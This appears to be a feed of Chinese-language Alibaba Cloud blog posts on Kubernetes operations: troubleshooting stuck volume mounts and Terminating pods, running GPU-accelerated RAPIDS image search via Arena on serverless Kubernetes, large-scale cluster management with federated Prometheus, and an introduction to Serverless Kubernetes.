        Warning  FailedMount  18s   kubelet, cn-shenzhen.192.168.1.24  Unable to mount volumes for pod "nas-static-796b49b5f8-svbvh_default(2d483078-1400-11ea-a9b7-00163e084110)": 
        timeout expired waiting for volumes to attach or mount for pod "default"/"nas-static-796b49b5f8-svbvh". 
        list of unmounted volumes=[pvc-nas]. list of unattached volumes=[pvc-nas default-token-9v9hl]

        更新前数据卷使用是正常的,而更新后pod启动不了,并有上述信息显示数据卷挂载不上,有一个可能性为:当前pod所在节点对此pv/pvc出现状态异常。具体异常原因暂不深究。

        通过把pod调度到其他节点快速启动pod,参考如下步骤:

        1. 确定pod所在节点:

        根据上述错误信息即可拿到节点为:cn-shenzhen.192.168.1.24
        
        也可以通过下面步骤拿到:
        # podname="nas-static-796b49b5f8-svbvh"
        # namespace="default"
        #  kubectl describe pod $podname -n $namespace | grep Node: | awk '{print $2}'
        cn-shenzhen.192.168.1.24/192.168.1.24

        2. 设置节点不可调度:

        您可以使用控制台来配置节点调度状态,参考

        也可以使用下面命令行执行给当前挂载有问题的节点打上污点标签,确保pod不会再往这个节点调度:

        # kubectl taint nodes cn-shenzhen.192.168.1.24 key=value:NoSchedule
        node/cn-shenzhen.192.168.1.24 tainted

        3. 重启问题Pod:

        这时重启问题Pod,新建的Pod就不会调度到刚才有问题的节点了:

        删除问题Pod:
        # kubectl delete pod nas-static-796b49b5f8-svbvh
        pod "nas-static-796b49b5f8-svbvh" deleted
        
        新的pod启动成功,且调度到新节点:
        # kubectl get pod
        NAME                          READY   STATUS        RESTARTS   AGE
        nas-static-857b99fcc9-vvzkx   1/1     Running       0          14s
        # kubectl describe pod nas-static-857b99fcc9-vvzkx | grep Node
        Node:               cn-shenzhen.192.168.1.25/192.168.1.25

        4. 后续处理:

        上述步骤目的是保证您您的业务快速恢复,但问题节点的问题还存在,您可以通过[存储常见问题]()进行排查分析。

        如果您无法解决节点问题,可以联系阿里云容器服务技术支持。节点问题解决后,您可以通过控制台或者命令行将问题节点配置为可调度状态;

        # kubectl taint nodes cn-shenzhen.192.168.1.24 key:NoSchedule-
        node/cn-shenzhen.192.168.1.24 untainted

        更新一个pod,卡在 Terminating 状态:

        例如:你使用statefulset创建应用,并挂载了云盘数据卷;当更新应用的时候,pod一直处于Terminating状态从而导致新的pod无法正常启动。

        # kubectl delete pod web-0
        
        # kubectl get pod
        NAME    READY   STATUS        RESTARTS   AGE
        web-0   0/1     Terminating   0          47m

        到pod所在节点查看下面日志文件:

        # tailf /var/log/alicloud/flexvolume_disk.log
        # tailf /var/log/messages | grep kubelet

        如果发现报错原因为数据卷Umount/Detach等失败,例如:

        unmount command failed, status: Failure, reason:
        
        device is busy 字样
        或
        target is busy 字样
        或
        Orphan Pod字样
        等等

        如果在没有找到如何解决问题时急于恢复业务,可以先将问题pod强制删除,优先恢复业务。

        1. 使用强制删除命令结束当前pod:

        # kubectl delete pod web-0 --force=true --grace-period=0
        pod "web-0" force deleted

        此命令会强制删除Etcd数据库中的pod信息,从而为创建新pod提供可能(StatefulSet中,老pod没有删除前新pod不会重建)。

        2. 如果新建pod启动的时候失败,卡在 ContainerCreating:

        可以参考 “更新一个Pod,卡在了 ContainerCreating 状态” 做法,为node配置不可调度,快速恢复pod运行。

        3. 登陆问题节点,分析原因:

        登陆问题所在节点,通过[存储常见问题]()进行排查分析。无法解决时可能联系阿里云容器服务技术支持。

        ]]>
        妙到毫巅,在阿里云容器服务中体验RAPIDS加速数据科学 Fri, 02 May 2025 09:39:04 +0800 摘要
        算法、数据和算力称为人工智能的三大要素,如果没有算力的支撑,人工智能难以落地。而Nvidia GPU的强劲算力是AI模型训练加速的首选,但是它的价格也确实不菲。如何能够简单,有效同时低成本的使用Nvidia GPU的算力,使用阿里云容器服务+ECI+Arena的方案是一个可以参考的选项。

        而一谈起Nvidia GPU,大家首先会想到的就是深度学习,传统的机器学习和数据分析的方法对GPU的利用却很少,实际上Nvidia有一个非常优秀的项目RAPIDS,全称Real-time Acceleration Platform for Integrated Data Science,是NVIDIA针对数据科学和机器学习推出的GPU加速库。更多RAPIDS信息请参见官方网站。这是一个致力于将GPU加速带给传统算法的项目,并且提供了与Pandas和scikit-learn一致的用法和体验。实际上RAPIDS有三个模块:cuDF相当于Pandas,cuML相当于scikit-learn,cuGraph则是处理图数据的。由于它的兼容性很好,我们可以把RAPIDS与深度学习框架结合,用cuDF来利用GPU加速处理数据,然后使用TensorFlow和PyTorch的深度学习模型框架处理任务。

        image.png

        在本文中,我们将介绍如何利用TensorFlow和Rapids实现在阿里云容器服务上以图搜图的功能;同时通过ECI实现GPU资源的使用即申请,秒级的GPU资源准备速度,完成即释放,用户无需提前准备GPU实例;而站在使用者的角度,他并不需要和Kubernetes的基础设施打交道,通过arena的命令行,就可以实现包含GPU的RAPIDS环境的构建和运行,并且完成对GPU基础设施的管理。

        执行步骤

        步骤1:准备集群

        准备托管k8s的集群,所谓托管k8s的集群就是这个k8s的管控节点由阿里云承担资源和运维成本,并且创建了虚拟的Kubelet节点

        需要您已创建好容器服务 Kubernetes集群。 您可以选择管版的Kubernetes集群。
        由于需要运行系统组件容器,节点中至少有一个Worker节点。

        • 安装虚拟节点,具体可以参考虚拟节点
        • 配置virtual-kubelet-autoscaler,当集群内的GPU资源不足的时候,通过virtual-kubelet-autoscaler将弹出使用GPU的ECI实例。具体参考文档

        步骤2:从无到有运行arena创建RAPIDS服务

        1.安装arena

        $ wget http://kubeflow.oss-cn-beijing.aliyuncs.com/arena-installer-0.3.0-b556a36-linux-amd64.tar.gz
        $ tar -xvf arena*.tar.gz
        $ cd arena-installer
        $ ./install.sh

        2.先运行一下arena命令查看集群的GPU资源, 可以看到在该用户集群下,有一个真实节点并没有包含GPU资源,同时存在了一个虚拟节点,该节点并不真实存在,无需付费,同时它提供了无限的GPU资源可以扩展。

        $ arena top node
        arena top node
        NAME                       IPADDRESS      ROLE    STATUS  GPU(Total)  GPU(Allocated)
        cn-shanghai.192.168.1.248  192.168.1.248  <none>  ready   0           0
        virtual-kubelet            172.20.2.18    agent   ready   1000        0
        -----------------------------------------------------------------------------------------
        Allocated/Total GPUs In Cluster:
        0/1000 (0%)

        3.再提交rapids任务前,我们需要做一些准备。准备的目的是加速创建过程和简化访问操作。

        3.1.设置访问方式。将访问方式设置为LoadBalancer(该方法只是为了示例简单,并不推荐您在生产环境开放外网ip方访问)

        $ find /charts/ -name "*.yaml" | xargs sed -i "s/NodePort/LoadBalancer/g"

        3.2.加速启动速度

        3.2.1.GPU的容器镜像通常很大,以本实验要使用的rapids容器镜像为例,它的容量为14.7GB.通常启动时间会在10分钟左右。而通过镜像缓存的能力可以将这个从无到有的过程缩短到20s左右。

        docker images | grep rapids
        registry.cn-shanghai.aliyuncs.com/tensorflow-samples/rapids-samples                0.8.2-cuda10.0-runtime-ubuntu16.04   4597a0334d41        12 days ago         14.7GB

        3.2.2.而在serverless kubernetes中,你只需要创建一个ImageCache CRD,就可以直接使用镜像缓存的能力。

        $ cat > imagecache.yaml << EOF
        apiVersion: eci.alibabacloud.com/v1
        kind: ImageCache
        metadata:
          name: imagecache-rapids
        spec:
          images:
          - registry.cn-shanghai.aliyuncs.com/tensorflow-samples/rapids-samples:0.8.2-cuda10.0-runtime-ubuntu16.04
          imageCacheSize:
           50
        EOF
        
        $ kubectl create -f imagecache.yaml

        3.2.3.提交后稍等片刻。查看ImageCache状态,其中CACHID可以做后面提交任务时指定的snapshot-id

        $ kubectl get imagecache
        NAME                AGE    CACHEID                    PHASE   PROGRESS
        imagecache-rapids   3d9h   imc-uf6dxdji7txxxxx        Ready   100%

        具体操作可以参考文档

        4.提交rapids的开发环境

        $ arena serve custom 
             --name=rapids 
             --selector=type=virtual-kubelet 
             --toleration=all 
             --annotation=k8s.aliyun.com/eci-image-snapshot-id=imc-uf6dxdji7txxxxx 
             --annotation=k8s.aliyun.com/eci-instance-type=ecs.gn5i-c8g1.2xlarge 
             --gpus=1 
             -e=PASSWORD=mypassw0rd 
             --restful-port=80 
             --image=registry.cn-shanghai.aliyuncs.com/tensorflow-samples/rapids-samples:0.8.2-cuda10.0-runtime-ubuntu16.04
        configmap/rapids-201912011815-custom-serving created
        configmap/rapids-201912011815-custom-serving labeled
        service/rapids-201912011815 created
        deployment.extensions/rapids-201912011815-custom-serving created

        --selector=type=virtual-kubelet表示通过Virtual Node启动Pod
        --annotation=k8s.aliyun.com/eci-instance-type=ecs.gn5i-c8g1.2xlarge表示指定使用ECI的实例类型,ecs.gn5i-c8g1.2xlarge代表阿里云P4机型。具体规格可以查看文档
        --annotation=k8s.aliyun.com/eci-image-snapshot-id=imc-uf6dxdji7txxxxx指定3.2.3步中的CACHEID
        -e=PASSWORD=mypassw0rd就是通过环境变量PASSWORD设置访问RAPIDS notebook
        --gpus=1表示申请的GPU数目

        4.查看访问地址,这里是ENDPOINT_ADDRESS和PORTS的组合, 在本示例中它是106.15.173.2:80。同时发现该任务在32秒的时候就可以变成Running状态

        $ arena serve list
        NAME    TYPE    VERSION       DESIRED  AVAILABLE  ENDPOINT_ADDRESS  PORTS
        rapids  CUSTOM  201911181827  1        1          105.13.58.3      restful:80
        
        $ arena serve get rapids
         arena serve get rapids
        NAME:             rapids
        NAMESPACE:        default
        VERSION:          201912011815
        DESIRED:          1
        AVAILABLE:        1
        SERVING TYPE:     CUSTOM
        ENDPOINT ADDRESS: 106.15.173.2
        ENDPOINT PORTS:   restful:80
        AGE:              32s
        
        INSTANCE                                           STATUS   AGE  READY  RESTARTS  NODE
        rapids-201912011815-custom-serving-6b54d5cd-swcwz  Running  32s  1/1    0         N/A

        5.再次查看集群的GPU使用情况,发现已经有一个GPU资源被占用了

        $ arena top node
        NAME                       IPADDRESS      ROLE    STATUS  GPU(Total)  GPU(Allocated)
        cn-shanghai.192.168.1.248  192.168.1.248  <none>  ready   0           0
        virtual-kubelet            172.20.2.20    agent   ready   1000        1
        -----------------------------------------------------------------------------------------
        Allocated/Total GPUs In Cluster:
        1/1000 (0%)

        6.如果想查询是哪个Pod占用了这个GPU, 可以在原有命令中加一个-d就可以看到具体的Pod名称。

        $ arena top node -d
        
        
        NAME:       cn-shanghai.192.168.1.248
        IPADDRESS:  192.168.1.248
        ROLE:       <none>
        
        Total GPUs In Node cn-shanghai.192.168.1.248:      0
        Allocated GPUs In Node cn-shanghai.192.168.1.248:  0 (0%)
        -----------------------------------------------------------------------------------------
        
        NAME:       virtual-kubelet
        IPADDRESS:  172.20.2.20
        ROLE:       agent
        
        NAMESPACE  NAME                                                GPU REQUESTS
        default    rapids-201912011815-custom-serving-6b54d5cd-swcwz  1
        
        Total GPUs In Node virtual-kubelet:      1000
        Allocated GPUs In Node virtual-kubelet:  1 (0%)
        -----------------------------------------------------------------------------------------
        
        
        Allocated/Total GPUs In Cluster:  1/1000 (0%)

        7.根据步骤4中的访问地址和端口,打开本地浏览器。输入http://{ENDPOINT ADDRESS}:{ENDPOINT PORT},在本例子中是http://105.13.58.3:80

        说明: 推荐使用Chrome浏览器。

        8.输入启动命令中设置的密码,然后单击Log in。 在本例子中,密码为mypassw0rd

        image.png

        步骤三:执行以图搜图的示例

        1.进入示例所在目录cuml。
        2.双击cuml_knn.ipynb文件。
        3.单击image.png

        说明: 单击一次执行一个cell,请单击至示例执行结束,详细说明请参见示例执行过程。

        image.png

        示例执行过程

        图像搜索示例的执行过程分为三个步骤:处理数据集、提取图片特征和搜索相似图片。本文示例结果中对比了GPU加速的RAPIDS cuml KNN与CPU实现的scikit-learn KNN的性能。

        1.处理数据集。
        1.1 下载和解压数据集。 本文示例中使用了STL-10数据集,该数据集中包含10万张未打标的图片,图片的尺寸均为:96 x 96 x 3, 您可以使用其他数据集,为便于提取图片特征,请确保数据集中图片的尺寸相同。

        本文示例提供了download_and_extract(data_dir)方法供您下载和解压STL-10数据集。RAPIDS镜像中已经将数据集下载到./data目录,您可以执行download_and_extract()方法直接解压数据集。

        image.png

        1.2. 读取图片。 从数据集解压出的数据为二进制格式,执行read_all_images(path_to_data)方法加载数据并转换为NHWC(batch, height, width, channels)格式,以便用Tensorflow提取图片特征。

        image.png

        1.3. 展示图片。 执行show_image(image)方法随机展示一张数据集中的图片。

        image.png

        1.4. 分割数据集。 按照9:1的比例把数据集分为两部分,分别用于创建图片索引库和搜索图片。

        image.png

        2.提取图片特征。 使用开源框架Tensorflow和Keras提取图片特征,其中模型为基于ImageNet数据集的ResNet50(notop)预训练模型。
        2.1 设定Tensorflow参数。 Tensorflow默认使用所有GPU显存,我们需要留出部分GPU显存供cuML使用。您可以选择一种方法设置GPU显存参数:

        • 方法1:依据运行需求进行显存分配。
        config.gpu_options.allow_growth = True
        • 方法2:设定可以使用的GPU显存比例。本示例中使用方法2,并且GPU显存比例默认设置为0.3,即Tensorflow可以使用整块GPU显存的30%,您可以依据应用场景修改比例。
        config.gpu_options.per_process_gpu_memory_fraction = 0.3

        image.png

        2.2 下载ResNet50(notop)预训练模型。 连接公网下载模型(大小约91M),目前该模型已经被保存到/root/.keras/models/目录。

        12-10.png

        image.png

        您可以执行model.summary()方法查看模型的网络结构。

        image.png

        2.2 提取图片特征。 对分割得到的两个图片数据集执行model.predict()方法提取图片特征。

        image.png

        搜索相似图片。
        3.1 使用cuml KNN搜索相似图片。 通过k=3设置K值为3,即查找最相似的3张图片,您可以依据使用场景自定义K值。
        其中,knn_cuml.fit()方法为创建索引阶段,knn_cuml.kneighbors()为搜索近邻阶段。

        image.png
        KNN向量检索耗时791 ms。

        3.2 使用scikit-learn KNN搜索相似图片。 通过n_neighbors=3设置K值为3,通过n_jobs=-1设置使用所有CPU进行近邻搜索。

        说明: ecs.gn5i-c8g1.2xlarge的配置为8 vCPU。

        image.png

        KNN向量检索耗时7分34秒。

        3.3 对比cuml KNN和scikit-learn KNN的搜索结果。 对比两种方式的KNN向量检索速度,使用GPU加速的cuml KNN耗时791 ms,使用CPU的scikit-learn KNN耗时7min 34s。前者为后者的近600倍。

        验证两种方式的输出结果是否相同,输出结果为两个数组:

        • distance:最小的K个距离值。本示例中搜索了10000张图片,K值为3,因此distance.shape=(10000,3)。
        • indices:对应的图片索引。indices.shape=(10000, 3)。
          由于本示例所用数据集中存在重复图片,容易出现图片相同但索引不同的情况,因此使用distances,不使用indices对比结果。考虑到计算误差,如果两种方法得出的10000张图片中的3个最小距离值误差都小于1,则认为结果相同。

        image.png

        图片搜索结果

        本示例从1万张搜索图片中随机选择5张图片并搜索相似图片,最终展示出5行4列图片。

        第一列为搜索图片,第二列至第四列为图片索引库中的相似图片,且相似性依次递减。每张相似图片的标题为计算的距离,数值越大相似性越低。

        image.png

        步骤4:清理工作

        $ arena serve delete rapids
        service "rapids-201912011815" deleted
        deployment.extensions "rapids-201912011815-custom-serving" deleted
        configmap "rapids-201912011815-custom-serving" deleted
        INFO[0000] The Serving job rapids with version 201912011815 has been deleted successfully

        总结

        本文介绍通过Arena+阿里云Serverless Kubernetes快速,简单,低成本的使用RAPIDS加速数据科学。

        ]]>
        阿里云上万个 Kubernetes 集群大规模管理实践 Fri, 02 May 2025 09:39:04 +0800 内容简介:
        阿里云容器服务从2015年上线后,一路伴随并支撑双十一发展。在2019年的双十一中,容器服务ACK除了支撑集团内部核心系统容器化上云和阿里云的云产品本身,也将阿里多年的大规模容器技术以产品化的能力输出给众多围绕双十一的生态公司和ISV公司。通过支撑来自全球各行各业的容器云,容器服务已经沉淀了支持单元化架构、全球化架构、柔性架构的云原生应用托管中台能力,管理了超过1W个以上的容器集群。本文会介绍下容器服务ACK在海量k8s集群管理上的实践经验。

        引言
        什么是海量k8s集群管理。大家可能之前看过一些分享,介绍了阿里巴巴或蚂蚁金服内部如何管理单集群1W节点的最佳实践,管理大规模的节点是一个很有意思的挑战。不过这里讲的海量k8s集群管理,会侧重讲如何管理超过1W个以上不同规格的k8s集群。跟据我们和一些同行的沟通,往往一个企业内部只要管理几个到几十个k8s集群,那么我们为什么需要考虑管理如此庞大数量的k8s集群?首先,容器服务ACK是阿里云上的云产品,提供了Kubernetes as a Service的能力,面向全球客户,目前已经在全球20个地域支持。其次,得益于云原生时代的发展,越来越多的企业拥抱k8s,K8s已经逐渐成为云原生时代的基础设施,成为platform of platform。

        image.png

        image.png

        首先我们一起来看下托管这些k8s集群的痛点:
        1.集群种类不同:有标准的、无服务器的、AI的、裸金属的、边缘、Windows等k8s集群。不同种类的集群参数、组件和托管要求不一样,并且需要支撑更多面向垂直场景的k8s。
        2.集群大小不一:每个集群规模大小不一,从几个节点到上万个节点,从几个service到几千个service等。需要能够支撑每年持续几倍集群数量的增长。
        3.集群安全合规:分布在不同的地域和环境的k8s集群,需要遵循不同的合规性要求。比如欧洲的k8s集群需要遵循欧盟的GDPR法案,在中国的金融业和政务云需要有额外的等级保护等要求。
        4.集群持续演进:需要能够持续的支持k8s的新版本新特性演进。。

        设计目标:

        1.支持单元化的分档管理、容量规划和水位管理
        2.支持全球化的部署、发布、容灾和可观测性
        3.支持柔性架构的可插拔、可定制、积木式的持续演进能力

        1.支持单元化的分档管理、容量规划和水位管理

        单元化:
        一般讲到单元化,大家都会联想到单机房容量不够或二地三中心灾备等场景。那单元化和k8s管理有什么关系?对我们来说,一个地域(比如杭州)可能会管理几千个k8s,需要统一维护这些k8s的集群生命周期管理。作为一个k8s专业团队,一个朴素的想法就是通过多个k8s元集群来管理这些guest K8s master。而一个k8s元集群的边界就是一个单元。
        曾经我们经常听说某某机房光纤被挖断,某某机房电力故障而导致服务中断,容器服务ACK在设计之初就支持了同城多活的架构形态,任何一个用户k8s集群的master组件都会自动地分散在多个机房,采用主主模式运行,不会因单机房问题而影响集群稳定性;另外一个层面,同时要保证master组件间的通信稳定性,容器服务ACK在打散master时调度策略上也会尽量保证master组件间通信延迟在毫秒级。

        分档化:
        大家都知道,k8s集群的master组件的负载主要与k8s集群的节点规模、worker侧的controller或workload等需要与kube-apiserver交互的组件数量和调用频率息息相关,对于上万个k8s集群,每个用户k8s集群的规模和业务形态都千差万别,我们无法用一套标准配置来去管理所有的用户k8s集群,同时从成本经济角度考虑,我们提供了一种更加灵活、更加智能的托管能力。考虑到不同资源类型会对master产生不同的负载压力,因此我们需要为每类资源设置不同的因子,最终可归纳出一个计算范式,通过此范式可计算出每个用户k8s集群master所适应的档位;同时我们也会基于已构建的k8s统一监控平台实时指标来不断地优化和调整这些因素值和范式,从而可实现智能平滑换挡的能力。

        image.png

        容量规划: 接下来我们看下k8s元集群的容量模型,单个元集群到底能托管多少个用户k8s集群的master? 首先要确认容器网络规划。这里我们选择了阿里云自研的高性能容器网络Terway, 一方面需要通过弹性网卡ENI打通用户VPC和托管master的网络,另一方面提供了高性能和丰富的安全策略。接下来我们需要结合VPC内的ip资源,做网段的规划,分别提供给node、pod和service。最后,我们会结合统计规律,结合成本、密度、性能、资源配额、档位配比等多种因素的综合考量,设计每个元集群单元中部署的不同档位的guest k8s的个数,并预留40%的水位。

        image.png

        image.png

        容器服务已经在全球20个地域支持,我们提供了完全自动化的部署、发布、容灾和可观测性能力。这里重点介绍下全球化跨数据中心的可观测。

        全球跨数据中心的可观测性

        全球化布局的大型集群的可观测性,对于k8s集群的日常保障至关重要。如何在纷繁复杂的网络环境下高效、合理、安全、可扩展的采集各个数据中心中目标集群的实时状态指标,是可观测性设计的关键与核心。我们需要兼顾区域化数据中心、单元化集群范围内可观测性数据的收集,以及全局视图的可观测性和可视化。基于这种设计理念和客观需求,全球化可观测性必须使用多级联合方式,也就是边缘层的可观测性实现下沉到需要观测的集群内部,中间层的可观测性用于在若干区域内实现监控数据的汇聚,中心层可观测性进行汇聚、形成全局化视图以及告警。样设计的好处在于可以灵活的在每一级别层内进行扩展以及调整,适合于不断增长的集群规模,相应的其他级别只需调整参数,层次结构清晰;网络结构简单,可以实现内网数据穿透到公网并汇聚。

        针对该全球化布局的大型集群的监控系统设计,对于保障集群的高效运转至关重要,我们的设计理念是在全球范围内将各个数据中心的数据实时收集并聚合,实现全局视图查看和数据可视化,以及故障定位、告警通知。进入云原生时代,Prometheus作为CNCF中第二个毕业的项目,天生适用于容器场景,Prometheus 与 Kubernetes 结合一起,实现服务发现和对动态调度服务的监控,在各种监控方案中具有很大的优势,实际上已经成为容器监控方案的标准,所以我们也选择了Prometheus作为方案的基础。
        针对每个集群,需要采集的主要指标类别包括:

        • OS指标,例如节点资源(CPU, 内存,磁盘等)水位以及网络吞吐;
        • 元集群以及用户集群K8s master指标,例如kube-apiserver, kube-controller-manager, kube-scheduler等指标;
        • K8s组件(kubernetes-state-metrics,cadvisor)采集的关于K8s集群状态;
        • etcd指标,例如etcd写磁盘时间,DB size,Peer之间吞吐量等等。
          当全局数据聚合后,AlertManager对接中心Prometheus,驱动各种不同的告警通知行为,例如钉钉、邮件、短信等方式。

        监控告警架构

        为了合理的将监控压力负担分到到多个层次的Prometheus并实现全局聚合,我们使用了联邦Federation的功能。在联邦集群中,每个数据中心部署单独的Prometheus,用于采集当前数据中心监控数据,并由一个中心的Prometheus负责聚合多个数据中心的监控数据。基于Federation的功能,我们设计的全球监控架构图如下,包括监控体系、告警体系和展示体系三部分。

        监控体系按照从元集群监控向中心监控汇聚的角度,呈现为树形结构,可以分为三层:

        边缘Prometheus

        为了有效监控元集群K8s和用户集群K8s的指标、避免网络配置的复杂性,将Prometheus下沉到每个元集群内,

        级联Prometheus

        级联Prometheus的作用在于汇聚多个区域的监控数据。级联Prometheus存在于每个大区域,例如中国区,欧洲美洲区,亚洲区。每个大区域内包含若干个具体的区域,例如北京,上海,东京等。随着每个大区域内集群规模的增长,大区域可以拆分成多个新的大区域,并始终维持每个大区域内有一个级联Prometheus,通过这种策略可以实现灵活的架构扩展和演进。

        中心Prometheus

        中心Prometheus用于连接所有的级联Prometheus,实现最终的数据聚合、全局视图和告警。为提高可靠性,中心Prometheus使用双活架构,也就是在不同可用区布置两个Prometheus中心节点,都连接相同的下一级Prometheus。

        image.png
        图2-1 基于Prometheus Federation的全球多级别监控架构

        优化策略

        监控数据流量与API server流量分离
        API server的代理功能可以使得K8s集群外通过API server访问集群内的Pod、Node或者Service。

        image.png

        常用的透传K8s集群内Prometheus指标到集群外的方式是通过API server代理功能,优点是可以重用API server的6443端口对外开放数据,管理简便;缺点也明显,增加了API server的负载压力。如果使用API Server代理模式,考虑到客户集群以及节点都会随着售卖而不断扩大,对API server的压力也越来越大并增加了潜在的风险。对此,针对边缘Prometheus增加了LoadBalancer类型的service,监控流量完全走LoadBalancer,实现流量分离。即便监控的对象持续增加,也保证了API server不会因此增加Proxy功能的开销。

        收集指定Metric
        在中心Prometheus只收集需要使用的指标,一定不能全量抓取,否则会造成网络传输压力过大丢失数据。

        Label管理
        Label用于在级联Prometheus上标记region和元集群,所以在中心Prometheus汇聚是可以定位到元集群的颗粒度。
        同时,尽量减少不必要的label,实现数据节省。

        3.支持柔性架构的可插拔、可定制、积木式的持续演进能力

        前面两部分简要描述了如何管理海量k8s集群的一些思考,然而光做到全球化、单元化的管理还远远不够。k8s能够成功,包含了声明式的定义、高度活跃的社区、良好的架构抽象等因素,k8s已经成为云原生时代的Linux。我们必须要考虑k8s版本的持续迭代和CVE漏洞的修复,必须要考虑k8s相关组件的持续更新,无论是CSI、CNI、Device Plugin还是Scheduler Plugin等等。为此我们提供了完整的集群和组件的持续升级、灰度、暂停等功能。

        image.png

        2019年6月,阿里巴巴将内部的云原生应用自动化引擎OpenKruise开源,这里我们重点介绍下其中的BroadcastJob功能,他非常适用于每台worker机器上的组件进行升级,或者对每台机器上的节点进行检测。(Broadcast Job 会在集群中每个node上面跑一个pod直至结束。类似于社区的DaemonSet, 区别在于DaemonSet始终保持一个pod长服务在每个node上跑,而BroadcastJob中最终这个pod会结束。)

        image.png

        此外,考虑不同k8s使用场景,我们提供了多种k8s的cluster profile,可以帮助用户提供更方便的集群选择。我们会结合大量集群的实践,持续提供更多更好的集群模板。

        image.png

        总结
        随着云计算的发展,以Kubernetes为基础的云原生技术持续推动行业进行数字化转型。容器服务ACK提供了安全稳定、高性能的Kubernetes托管服务已经成为云上运行Kubernetes的最佳载体。在本次双11,容器服务 ACK 在各个场景为双十一作出贡献,支撑了阿里巴巴内部核心系统容器化上云,支撑了阿里云微服务引擎MSE、视频云、CDN等云产品,也支撑了双11 的生态公司和 ISV 公司,包括聚石塔电商云、菜鸟物流云、东南亚的支付系统等等。容器服务ACK会持续前行,持续提供更高更好的云原生容器网络、存储、调度和弹性能力,端到端的全链路安全能力,serverless 和 servicemesh 等能力。对于有兴趣的开发者,可以前往阿里云控制台 ,创建一个 Kubernetes 集群来体验。对于容器生态的合作伙伴,也欢迎加入阿里云的容器应用市场,和我们一起共创云原生时代。

        ]]>
        Serverless Kubernetes入门:对kubernetes做减法 Fri, 02 May 2025 09:39:04 +0800 背景
        Kubernetes作为通用的容器编排系统,承载了广泛的应用和场景,包括CI/CD,数据计算,在线应用,AI等,然而由于其通用性和复杂性,管理一个kubernetes集群对于很多用户而言还是充满挑战的,主要体现在:

        • 学习成本高;
        • 集群运维管理成本高,包括节点管理、容量规划,以及各种节点异常问题的定位;
        • 计算成本在很多场景中没有达到最优,比如对于一个定时运行Jobs的集群,长期持有资源池对于用户来说是浪费的行为,资源利用率不高。
          Serverless Kubernetes是阿里云容器服务团队对未来kubernetes演进方向的一种探索,通过对kubernetes做减法,降低运维管理负担,简化集群管理,让kubernetes从复杂到简单。

        对Kubernetes集群做减法

        无节点管理

        我们相信未来用户会更加关注应用的开发,而不是基础设施的维护。体现在kubernetes集群中,我们希望用户能够关注在pod/service/ingress/job等应用编排语义上,对底层node则可以减少关注。

        无需管理节点也可以显著降低集群的运维管理成本,经统计kubernetes常见的异常问题中大多数与节点相关,比如Node NotReady问题,也无需担忧Node的安全问题,以及基础系统软件的升级和维护。

        在ASK集群中,我们使用虚拟节点virtual-kubelet代替ecs节点,虚拟节点的容量可以认为是“无限大”,用户不需要为集群的容量担忧,无需预先做容量规划。

        image.png

        无Master管理

        和ACK托管版一样,ASK的Master(apiserver, ccm, kcm等)资源被容器服务平台托管,用户无需管理这些核心组件的升级和运维,也不用付出成本。

        极简的k8s基础运行环境

        除了无需管理节点和Master外,我们还对kubernetes集群管理做了大量简化,包括默认托管很多addon,用户无需再管理一些基础的addon,也不需要为这些addon付费。依赖阿里云原生的网络和存储等能力,以及独特的托管架构设计,我们提供了极度简化但功能完备的kubernetes基础运行环境。

        12-10  图.png

        综上可以看到,ACK集群至少需要2台ecs机器以运行这些基本的Addon,而ASK集群把这些基础Addon化为无形,可以达到0成本创建一个开箱可用的kubernetes集群。

        简化弹性伸缩

        因为无需管理节点和容量规划,因此当集群需要扩容时也就不需要考虑节点层面的扩容,只需要关注pod的扩容,
        这对于扩容的速度和效率都是极大的提升,目前一些客户指定使用ASK/ECI的方式来快速应对业务流量高峰。

        当前ASK/ECI支持30s完全启动500个pod(至Running状态),单个pod启动可以达到10s以内。

        更低成本

        除去ASK集群本身的低成本创建外,pod的按需使用也让很多场景下资源利用率达到最优。对于很多Jobs或者数据计算场景而言,用户并不需要长期维护一个固定的资源池,这时ASK/ECI可以很好的支持这些诉求。

        经验证,当pod一天中运行时间少于16个小时,则ASK/ECI的方式相比保有ecs资源池更节省经济成本。

        ECI:快速交付容器资源的弹性计算服务

        谈起ASK,一定会谈到ASK的资源底座ECI。ECI是阿里云基于ECS IaaS资源池提供的稳定、高效、高弹性容器实例服务。ECI让容器成为了公有云的第一等公民,用户无需购买和管理ecs就可以直接部署容器应用,这种简化的容器实例产品形态和ASK形成了一个完美的组合。
        用户可以直接使用ECI Open API创建容器实例资源,但在容器场景中用户普遍需要一个编排系统,来负责容器的调度、高可用编排等能力,而ASK正是这样的kubernetes编排层。

        对于ASK而言,ECI让ASK容器服务免去了搭建后台计算资源池的必要,更不用为底层计算资源池的容量而担忧。基于ECI就意味着基于整个阿里云IaaS规模化资源池,天然拥有了库存和弹性优势(比如可以通过Annotation的方式指定底层eci对应的ecs规格,大部分ecs规格都可以在ASK中使用,满足多种计算场景的需求)。另外ECI和ECS复用资源池意味着我们可以最大化释放规模化红利,给用户提供更低成本的计算服务。

        容器生态支持

        ASK对kubernetes容器生态提供了完善的支持,目前已有大量客户使用ASK来支撑如下各种场景。

        • CI/CD:gitlab-runner,jenkins/jenkins-x
        • 数据计算:spark/spark-operator,flink,presto,argo
        • AI:tensorflow/arena
        • ServiceMesh: istio,knative
        • 测试:locust,selenium
          ASK集群不支持Helm v2,近期ACK/ASK会发布Helm v3的支持,之后用户可以非常方便的在ASK集群中部署Charts。

        更多ASK参考文档

        快速部署jenkins环境及执行流水线构建

        创建Service

        基于privatezone服务发现

        创建Ingress

        使用nginx ingress

        sls日志收集

        使用kaniko自动化构建镜像

        使用虚拟节点

        使用GPU容器实例

        pod挂载eip

        使用镜像快照加速启动

        收集pod日志到sls

        运行Argo workflow

        使用vk-autoscaler

        ASK Examples

        ]]>
        容器镜像服务 联手 IDE 插件,实现一键部署、持续集成与交付 Fri, 02 May 2025 09:39:04 +0800 容器技术提供了一种标准化的交付方式,将应用的代码以及代码环境依赖都打包在一起,成为一个与环境无关的交付物,可以被用在软件生命周期的任何阶段,彻底改变了传统的软件交付方式。

        甚至可以说,是在容器技术之后,DevOps、CI/CD 等运维关键问题才有了质的飞跃:实现资源的动态创建和销毁,更轻量的容器技术既能保证环境一致性也能进一步提高迭代频率,各种容器平台也能更好地保证应用高可用、自动伸缩、业务连续等等。

        今天将跟大家分享支撑双十一的容器镜像服务 ACR,以及它是如何实现搭配 IDE 插件和 CICD/云原生应用交付链来实现一键部署与持续集成,以下是本文提纲:

        • 什么是 容器镜像服务 ACR
        • 如何搭配 免费 IDE 插件 实现一键部署
        • 如何运用 CICD/云原生应用交付链 实现持续集成与交付

